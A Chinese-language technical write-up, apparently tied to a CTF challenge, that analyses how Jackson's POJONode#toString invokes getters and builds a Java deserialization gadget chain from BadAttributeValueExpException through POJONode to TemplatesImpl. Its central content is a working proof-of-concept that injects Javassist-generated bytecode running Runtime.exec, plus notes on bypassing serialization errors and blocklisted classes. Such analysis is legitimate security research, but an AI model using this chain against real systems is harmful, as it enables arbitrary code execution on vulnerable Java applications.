从bypassit1了解POJONode#toString调用getter方法原理
字数 1389 2025-08-25 22:59:02
Jackson反序列化中POJONode#toString调用getter方法原理分析
前言
在Fastjson反序列化中,存在通过BadAttributeValueExpException#readObject调用JSONObject#toString/JSONArray#toString方法触发getter方法的利用方式。类似地,Jackson库中也存在通过POJONode#toString调用getter方法的原生反序列化机制。
Jackson序列化基础
Jackson将对象序列化为JSON字符串主要使用ObjectMapper#writeValueAsString方法,该方法在调用过程中会触发getter方法。
关键调用栈:
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
关键方法分析:
DefaultSerializerProvider#serializeValue:从缓存中获取或创建序列化器BeanSerializer#serialize:构造JSON字符串(先写入{,处理属性值,最后写入})BeanSerializerBase#serializeFields:处理Bean类所有属性值的写入
利用链构造
利用链概述
构造链:BadAttributeValueExpException#readObject → POJONode#toString → getter方法调用
POC代码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
注意事项
-
序列化问题:
POJONode的父类BaseJsonNode实现了writeReplace方法,在序列化过程中会抛出异常导致中断。可以通过删除该方法来绕过。 -
getter调用原理:
POJONode没有实现toString方法,继承自BaseJsonNode- 调用链:
toString→InternalNodeMapper#nodeToString→ObjectWriter.writeValueAsString writeValueAsString方法会遍历Bean对象的所有属性并调用对应的getter方法
其他利用方式探讨
-
替代
POJONode的可能性:- 理论上任何继承
BaseJsonNode且未重写toString方法的类都可以替代 - 但查看实现类发现基本都是与数据类型相关的,除
POJONode外没有其他适合存放Object并序列化的类
- 理论上任何继承
-
绕过
BadAttributeValueExpException限制:- 如果
BadAttributeValueExpException被禁用,可以考虑其他能触发toString方法的类 - 参考Hessian反序列化中的
XString#equals方式
- 如果
-
通过HashMap调用:
- 可以通过HashMap的方式调用
POJONode#toString进而触发getter
- 可以通过HashMap的方式调用
参考链接
总结
Jackson中通过POJONode#toString调用getter方法的原理与Fastjson类似,都是利用反序列化过程中自动调用特定方法(如toString)的特性,进而触发getter方法的执行。这种利用方式在特定条件下可以绕过一些安全限制,实现任意代码执行。